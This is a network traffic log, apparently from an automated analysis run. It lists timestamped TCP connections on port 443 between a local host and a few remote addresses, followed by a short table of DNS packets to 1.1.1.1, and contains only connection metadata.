Jan 13, 2025 21:53:14.222758055 CET	443	49960	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:14.222773075 CET	443	49960	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:14.222960949 CET	49960	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:14.223627090 CET	443	49960	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:14.223659992 CET	443	49960	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:14.223679066 CET	443	49960	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:14.223720074 CET	443	49960	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:14.223721981 CET	49960	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:14.223721981 CET	49960	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:14.223738909 CET	443	49960	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:14.223761082 CET	443	49960	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:14.223795891 CET	49960	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:14.223795891 CET	49960	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:14.223809004 CET	443	49960	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:14.223853111 CET	49960	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:14.223854065 CET	49960	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:14.435694933 CET	443	49960	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:14.435738087 CET	443	49960	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:14.435794115 CET	443	49960	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:14.435884953 CET	49960	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:14.435909033 CET	443	49960	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:14.435940981 CET	49960	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:14.435971022 CET	49960	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:14.437458992 CET	443	49960	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:14.437506914 CET	443	49960	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:14.437587023 CET	49960	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:14.437587023 CET	49960	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:14.437608957 CET	443	49960	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:14.438826084 CET	443	49960	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:14.438878059 CET	443	49960	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:14.438946962 CET	49960	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:14.438946962 CET	49960	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:14.438963890 CET	443	49960	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:14.439104080 CET	49960	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:14.439785004 CET	443	49960	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:14.439831018 CET	443	49960	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:14.439901114 CET	49960	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:14.439901114 CET	49960	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:14.439914942 CET	443	49960	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:14.440655947 CET	49960	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:14.441626072 CET	443	49960	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:14.441667080 CET	443	49960	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:14.441742897 CET	49960	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:14.441759109 CET	443	49960	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:14.441998959 CET	49960	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:14.442482948 CET	49960	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:14.442492008 CET	443	49960	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:14.495512009 CET	49960	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:14.546308994 CET	49960	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:14.811342001 CET	49960	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:14.811441898 CET	443	49960	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:14.811660051 CET	443	49960	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:14.811707973 CET	49960	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:14.811707973 CET	49960	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:17.405426979 CET	443	49815	173.222.162.64	192.168.2.6
Jan 13, 2025 21:53:17.405567884 CET	49815	443	192.168.2.6	173.222.162.64
Jan 13, 2025 21:53:20.959945917 CET	50008	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:20.959985971 CET	443	50008	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:20.960082054 CET	50008	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:20.960738897 CET	50009	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:20.960777044 CET	443	50009	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:20.960836887 CET	50009	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:20.961333036 CET	50009	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:20.961345911 CET	443	50009	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:20.961519957 CET	50008	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:20.961554050 CET	443	50008	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:20.963095903 CET	50010	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:20.963130951 CET	443	50010	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:20.963202000 CET	50010	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:20.963371038 CET	50010	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:20.963387012 CET	443	50010	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:21.554359913 CET	443	50010	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:21.560529947 CET	443	50008	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:21.561331987 CET	443	50009	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:21.608891010 CET	50009	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:21.608891010 CET	50010	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:21.612565041 CET	50008	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:21.661878109 CET	50009	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:21.661904097 CET	443	50009	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:21.662060976 CET	50008	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:21.662118912 CET	443	50008	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:21.662184000 CET	50010	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:21.662199020 CET	443	50010	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:21.663800955 CET	443	50010	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:21.664840937 CET	443	50008	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:21.664877892 CET	443	50008	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:21.664927959 CET	50008	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:21.665692091 CET	443	50009	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:21.665765047 CET	50009	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:21.678328991 CET	50008	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:21.678527117 CET	443	50008	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:21.678828955 CET	50010	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:21.679066896 CET	50009	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:21.679088116 CET	443	50010	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:21.679260969 CET	50008	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:21.679264069 CET	443	50009	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:21.679271936 CET	443	50008	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:21.679369926 CET	50010	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:21.679449081 CET	50009	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:21.679457903 CET	443	50009	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:21.679482937 CET	50009	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:21.727328062 CET	443	50010	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:21.727333069 CET	443	50009	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:21.730608940 CET	50009	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:21.730617046 CET	50008	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:21.920857906 CET	443	50008	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:21.921104908 CET	443	50010	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:21.922063112 CET	443	50008	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:21.922178984 CET	50008	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:21.922245026 CET	443	50008	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:21.922328949 CET	50008	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:21.922691107 CET	443	50010	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:21.922712088 CET	443	50010	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:21.922797918 CET	50010	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:21.922817945 CET	443	50010	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:21.923943996 CET	50008	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:21.923988104 CET	443	50008	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:21.924048901 CET	50008	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:21.930345058 CET	50016	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:21.930435896 CET	443	50016	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:21.930519104 CET	50016	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:21.931009054 CET	50016	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:21.931046963 CET	443	50016	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:21.966176987 CET	50010	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:21.966192007 CET	443	50010	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:21.966392040 CET	50010	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:21.966716051 CET	443	50010	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:21.966794968 CET	50010	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:21.970825911 CET	50017	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:21.970856905 CET	443	50017	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:21.970932961 CET	50017	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:21.971209049 CET	50017	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:21.971226931 CET	443	50017	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:22.281384945 CET	443	50009	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:22.326060057 CET	50009	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:22.347062111 CET	443	50009	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:22.347865105 CET	443	50009	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:22.347968102 CET	50009	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:22.347985029 CET	443	50009	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:22.348937035 CET	50009	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:22.348980904 CET	443	50009	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:22.349050045 CET	50009	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:22.353106976 CET	50023	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:22.353147030 CET	443	50023	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:22.353429079 CET	50023	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:22.353681087 CET	50023	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:22.353693008 CET	443	50023	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:22.516961098 CET	443	50016	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:22.517486095 CET	50016	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:22.517512083 CET	443	50016	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:22.520268917 CET	443	50016	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:22.520345926 CET	50016	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:22.520740032 CET	50016	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:22.520797014 CET	443	50016	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:22.520915031 CET	50016	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:22.520922899 CET	443	50016	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:22.563854933 CET	50016	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:22.574843884 CET	443	50017	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:22.575340986 CET	50017	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:22.575352907 CET	443	50017	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:22.575674057 CET	443	50017	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:22.576081038 CET	50017	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:22.576081038 CET	50017	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:22.576131105 CET	443	50017	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:22.626691103 CET	50017	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:22.786633968 CET	443	50016	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:22.829334021 CET	50016	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:22.851370096 CET	443	50017	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:22.852381945 CET	443	50016	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:22.854053974 CET	443	50016	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:22.854126930 CET	50016	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:22.854144096 CET	443	50016	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:22.854197979 CET	50016	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:22.854208946 CET	443	50016	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:22.891026974 CET	50017	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:22.904999018 CET	50016	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:22.905066013 CET	443	50016	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:22.906043053 CET	50016	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:22.906383991 CET	443	50016	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:22.906461954 CET	50016	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:22.916872978 CET	443	50017	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:22.918656111 CET	443	50017	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:22.918679953 CET	443	50017	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:22.918761969 CET	50017	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:22.918761969 CET	50017	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:22.918776989 CET	443	50017	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:22.948077917 CET	443	50023	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:22.948405027 CET	50023	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:22.948431969 CET	443	50023	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:22.951359987 CET	443	50023	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:22.951428890 CET	50023	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:22.951739073 CET	50023	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:22.951822996 CET	443	50023	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:22.951884031 CET	50023	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:22.951894045 CET	443	50023	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:22.963334084 CET	50017	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:22.963359118 CET	443	50017	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:22.963689089 CET	50017	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:22.963793993 CET	443	50017	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:22.963850975 CET	50017	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:22.995698929 CET	50023	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:23.186876059 CET	443	50023	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:23.229573965 CET	50023	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:23.252360106 CET	443	50023	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:23.254082918 CET	443	50023	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:23.254143953 CET	50023	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:23.254154921 CET	443	50023	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:23.254740953 CET	50023	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:23.254838943 CET	443	50023	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:23.254901886 CET	50023	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:24.411209106 CET	50036	443	192.168.2.6	40.115.3.253
Jan 13, 2025 21:53:24.411243916 CET	443	50036	40.115.3.253	192.168.2.6
Jan 13, 2025 21:53:24.411392927 CET	50036	443	192.168.2.6	40.115.3.253
Jan 13, 2025 21:53:24.411880016 CET	50036	443	192.168.2.6	40.115.3.253
Jan 13, 2025 21:53:24.411899090 CET	443	50036	40.115.3.253	192.168.2.6
Jan 13, 2025 21:53:25.216039896 CET	443	50036	40.115.3.253	192.168.2.6
Jan 13, 2025 21:53:25.216136932 CET	50036	443	192.168.2.6	40.115.3.253
Jan 13, 2025 21:53:25.217605114 CET	50036	443	192.168.2.6	40.115.3.253
Jan 13, 2025 21:53:25.217618942 CET	443	50036	40.115.3.253	192.168.2.6
Jan 13, 2025 21:53:25.218384027 CET	443	50036	40.115.3.253	192.168.2.6
Jan 13, 2025 21:53:25.219958067 CET	50036	443	192.168.2.6	40.115.3.253
Jan 13, 2025 21:53:25.220020056 CET	50036	443	192.168.2.6	40.115.3.253
Jan 13, 2025 21:53:25.220030069 CET	443	50036	40.115.3.253	192.168.2.6
Jan 13, 2025 21:53:25.220133066 CET	50036	443	192.168.2.6	40.115.3.253
Jan 13, 2025 21:53:25.263338089 CET	443	50036	40.115.3.253	192.168.2.6
Jan 13, 2025 21:53:25.398916960 CET	443	50036	40.115.3.253	192.168.2.6
Jan 13, 2025 21:53:25.399214029 CET	443	50036	40.115.3.253	192.168.2.6
Jan 13, 2025 21:53:25.399288893 CET	50036	443	192.168.2.6	40.115.3.253
Jan 13, 2025 21:53:25.399480104 CET	50036	443	192.168.2.6	40.115.3.253
Jan 13, 2025 21:53:25.399480104 CET	50036	443	192.168.2.6	40.115.3.253
Jan 13, 2025 21:53:25.399502993 CET	443	50036	40.115.3.253	192.168.2.6
Jan 13, 2025 21:53:36.925816059 CET	443	49897	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:36.979039907 CET	49897	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:36.979078054 CET	443	49897	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:37.025813103 CET	49897	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:37.069473982 CET	443	49897	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:37.119596958 CET	49897	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:37.119626045 CET	443	49897	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:37.126476049 CET	49897	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:37.126562119 CET	443	49897	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:37.126633883 CET	49897	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:37.195383072 CET	50080	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:37.195422888 CET	443	50080	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:37.195492029 CET	50080	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:37.195863008 CET	50080	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:37.195894003 CET	443	50080	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:37.792376041 CET	443	50080	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:37.792880058 CET	50080	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:37.792944908 CET	443	50080	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:37.794439077 CET	443	50080	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:37.794621944 CET	50080	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:37.794939995 CET	50080	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:37.795030117 CET	443	50080	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:37.795118093 CET	50080	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:37.795135975 CET	443	50080	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:37.839301109 CET	50080	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:42.005810022 CET	443	49940	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:42.057667971 CET	49940	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:42.057708979 CET	443	49940	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:42.060527086 CET	50082	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:42.060630083 CET	443	50082	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:42.060726881 CET	50082	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:42.060921907 CET	50082	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:42.060944080 CET	443	50082	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:42.104542017 CET	49940	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:42.104588985 CET	443	49940	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:42.104748011 CET	49940	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:42.104877949 CET	443	49940	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:42.104952097 CET	49940	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:42.648478985 CET	443	50082	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:42.649189949 CET	50082	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:42.649220943 CET	443	50082	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:42.651117086 CET	443	50082	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:42.651222944 CET	50082	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:42.651649952 CET	50082	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:42.651748896 CET	443	50082	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:42.651891947 CET	50082	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:42.651909113 CET	443	50082	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:42.697995901 CET	50082	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:45.434209108 CET	50083	443	192.168.2.6	142.250.185.100
Jan 13, 2025 21:53:45.434313059 CET	443	50083	142.250.185.100	192.168.2.6
Jan 13, 2025 21:53:45.434437037 CET	50083	443	192.168.2.6	142.250.185.100
Jan 13, 2025 21:53:45.434678078 CET	50083	443	192.168.2.6	142.250.185.100
Jan 13, 2025 21:53:45.434720039 CET	443	50083	142.250.185.100	192.168.2.6
Jan 13, 2025 21:53:46.080137968 CET	443	50083	142.250.185.100	192.168.2.6
Jan 13, 2025 21:53:46.080677032 CET	50083	443	192.168.2.6	142.250.185.100
Jan 13, 2025 21:53:46.080744028 CET	443	50083	142.250.185.100	192.168.2.6
Jan 13, 2025 21:53:46.081202030 CET	443	50083	142.250.185.100	192.168.2.6
Jan 13, 2025 21:53:46.081537008 CET	50083	443	192.168.2.6	142.250.185.100
Jan 13, 2025 21:53:46.081624031 CET	443	50083	142.250.185.100	192.168.2.6
Jan 13, 2025 21:53:46.134427071 CET	50083	443	192.168.2.6	142.250.185.100
Jan 13, 2025 21:53:54.051999092 CET	50086	443	192.168.2.6	40.115.3.253
Jan 13, 2025 21:53:54.052087069 CET	443	50086	40.115.3.253	192.168.2.6
Jan 13, 2025 21:53:54.052272081 CET	50086	443	192.168.2.6	40.115.3.253
Jan 13, 2025 21:53:54.053128958 CET	50086	443	192.168.2.6	40.115.3.253
Jan 13, 2025 21:53:54.053158045 CET	443	50086	40.115.3.253	192.168.2.6
Jan 13, 2025 21:53:54.852030993 CET	443	50086	40.115.3.253	192.168.2.6
Jan 13, 2025 21:53:54.852217913 CET	50086	443	192.168.2.6	40.115.3.253
Jan 13, 2025 21:53:54.853900909 CET	50086	443	192.168.2.6	40.115.3.253
Jan 13, 2025 21:53:54.853919029 CET	443	50086	40.115.3.253	192.168.2.6
Jan 13, 2025 21:53:54.854250908 CET	443	50086	40.115.3.253	192.168.2.6
Jan 13, 2025 21:53:54.856424093 CET	50086	443	192.168.2.6	40.115.3.253
Jan 13, 2025 21:53:54.856513977 CET	50086	443	192.168.2.6	40.115.3.253
Jan 13, 2025 21:53:54.856520891 CET	443	50086	40.115.3.253	192.168.2.6
Jan 13, 2025 21:53:54.856694937 CET	50086	443	192.168.2.6	40.115.3.253
Jan 13, 2025 21:53:54.899333954 CET	443	50086	40.115.3.253	192.168.2.6
Jan 13, 2025 21:53:55.033962011 CET	443	50086	40.115.3.253	192.168.2.6
Jan 13, 2025 21:53:55.034065962 CET	443	50086	40.115.3.253	192.168.2.6
Jan 13, 2025 21:53:55.034231901 CET	50086	443	192.168.2.6	40.115.3.253
Jan 13, 2025 21:53:55.034398079 CET	50086	443	192.168.2.6	40.115.3.253
Jan 13, 2025 21:53:55.034425020 CET	443	50086	40.115.3.253	192.168.2.6
Jan 13, 2025 21:53:55.985871077 CET	443	50083	142.250.185.100	192.168.2.6
Jan 13, 2025 21:53:55.985941887 CET	443	50083	142.250.185.100	192.168.2.6
Jan 13, 2025 21:53:55.986196995 CET	50083	443	192.168.2.6	142.250.185.100
Jan 13, 2025 21:53:57.246558905 CET	50083	443	192.168.2.6	142.250.185.100
Jan 13, 2025 21:53:57.246634007 CET	443	50083	142.250.185.100	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2025 21:52:41.052576065 CET	53	52610	1.1.1.1	192.168.2.6
Jan 13, 2025 21:52:41.057729006 CET	53	50804	1.1.1.1	192.168.2.6
Jan 13, 2025 21:52:42.222239971 CET	53	51347	1.1.1.1	192.168.2.6
Jan 13, 2025 21:52:45.370305061 CET	52154	53	192.168.2.6	1.1.1.1
Jan 13, 2025 21:52:45.370486021 CET	51106	53	192.168.2.6	1.1.1.1
Jan 13, 2025 21:52:45.378052950 CET	53	52154	1.1.1.1	192.168.2.6
Jan 13, 2025 21:52:45.378669977 CET	53	51106	1.1.1.1	192.168.2.6
Jan 13, 2025 21:52:46.484481096 CET	59022	53	192.168.2.6	1.1.1.1
Jan 13, 2025 21:52:46.487639904 CET	49772	53	192.168.2.6	1.1.1.1
Jan 13, 2025 21:52:46.499188900 CET	53	49772	1.1.1.1	192.168.2.6
Jan 13, 2025 21:52:46.503071070 CET	53	59022	1.1.1.1	192.168.2.6
Jan 13, 2025 21:52:47.506700039 CET	55397	53	192.168.2.6	1.1.1.1
Jan 13, 2025 21:52:47.507158995 CET	60881	53	192.168.2.6	1.1.1.1
Jan 13, 2025 21:52:47.507946968 CET	59230	53	192.168.2.6	1.1.1.1
Jan 13, 2025 21:52:47.508147955 CET	60459	53	192.168.2.6	1.1.1.1
Jan 13, 2025 21:52:47.513979912 CET	53	55397	1.1.1.1	192.168.2.6
Jan 13, 2025 21:52:47.514043093 CET	53	60881	1.1.1.1	192.168.2.6
Jan 13, 2025 21:52:47.514930010 CET	53	60459	1.1.1.1	192.168.2.6
Jan 13, 2025 21:52:47.515249014 CET	53	59230	1.1.1.1	192.168.2.6
Jan 13, 2025 21:52:48.952511072 CET	60129	53	192.168.2.6	1.1.1.1
Jan 13, 2025 21:52:48.952931881 CET	62841	53	192.168.2.6	1.1.1.1
Jan 13, 2025 21:52:48.959517002 CET	53	62841	1.1.1.1	192.168.2.6
Jan 13, 2025 21:52:48.962493896 CET	53	60129	1.1.1.1	192.168.2.6
Jan 13, 2025 21:52:49.086577892 CET	60046	53	192.168.2.6	1.1.1.1
